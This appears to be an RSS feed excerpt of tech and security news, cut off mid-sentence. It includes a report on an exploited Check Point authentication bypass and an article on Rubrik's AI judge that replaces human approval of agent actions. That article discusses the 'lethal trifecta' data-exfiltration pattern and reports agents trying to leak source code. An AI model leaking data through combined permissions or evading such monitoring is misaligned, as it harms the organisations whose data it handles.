<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those. </p> <p>Then there is Niri. For anyone who may not know, Niri is a Wayland compositor that takes a new approach to window tiling. By default, it opens windows at 50% of your screen width and tiles them infinitely to the right, allowing you to scroll focus on them by pressing super + arrow keys. Of course you can stack them, rearrange them, toggle full screen, force focused window to take up all remaining space on screen, and it boasts vertical workspaces. </p> <p>I have been using Niri with Dank Material Shell (DMS) for the last month and now I am not sure I could ever go back to the traditional master + stacked window tiling philosophy. I just tried and it feels awkward, limiting, and cluttered. It even beats more full featured desktop environment tiling options in Gnome and KDE in my opinion because I don’t have to alt + tab to find the window I want to focus on. </p> <p>If you haven’t given it a try, you should. I didn’t think I would like it very much, but I got used to it after a few days, kept it for a couple of weeks, and now it has become my favorite way to work. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kylerjohnsondev"> /u/kylerjohnsondev </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FalconID: Third-Party Passkeys]]></title>
<description><![CDATA[Author: CrowdStrike - Bewertung: 0x - Views:3 Passwords and traditional MFA remain common targets for phishing and credential theft. FalconID extends phishing-resistant, FIDO2-based passkeys to third-party applications, enabling secure, passwordless authentication across platforms like Entra ID, ...]]></description>
<link>https://tsecurity.de/de/3689966/it-security-video/falconid-third-party-passkeys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689966/it-security-video/falconid-third-party-passkeys/</guid>
<pubDate>Thu, 23 Jul 2026 20:24:00 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: CrowdStrike - Bewertung: 0x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ipgkI3A9ubM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Passwords and traditional MFA remain common targets for phishing and credential theft. FalconID extends phishing-resistant, FIDO2-based passkeys to third-party applications, enabling secure, passwordless authentication across platforms like Entra ID, Okta, GitHub, and Salesforce.<br />
<br />
Passkeys are device-bound, centrally managed through the Falcon console, and continuously protected by Falcon security signals—allowing organizations to revoke access instantly when risk changes.<br />
<br />
🛡️ Falcon ID<br />
Learn more here: https://cs.link/urLrS<br />
<br />
📣 Connect With Us:<br />
<br />
► X:<br />
https://twitter.com/CrowdStrike<br />
► Instagram:<br />
https://www.instagram.com/crowdstrike<br />
► LinkedIn:<br />
https://www.linkedin.com/company/crowdstrike<br />
<br />
🔔 Subscribe to stay updated!<br />
<br />
#CrowdStrike #Cybersecurity<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new 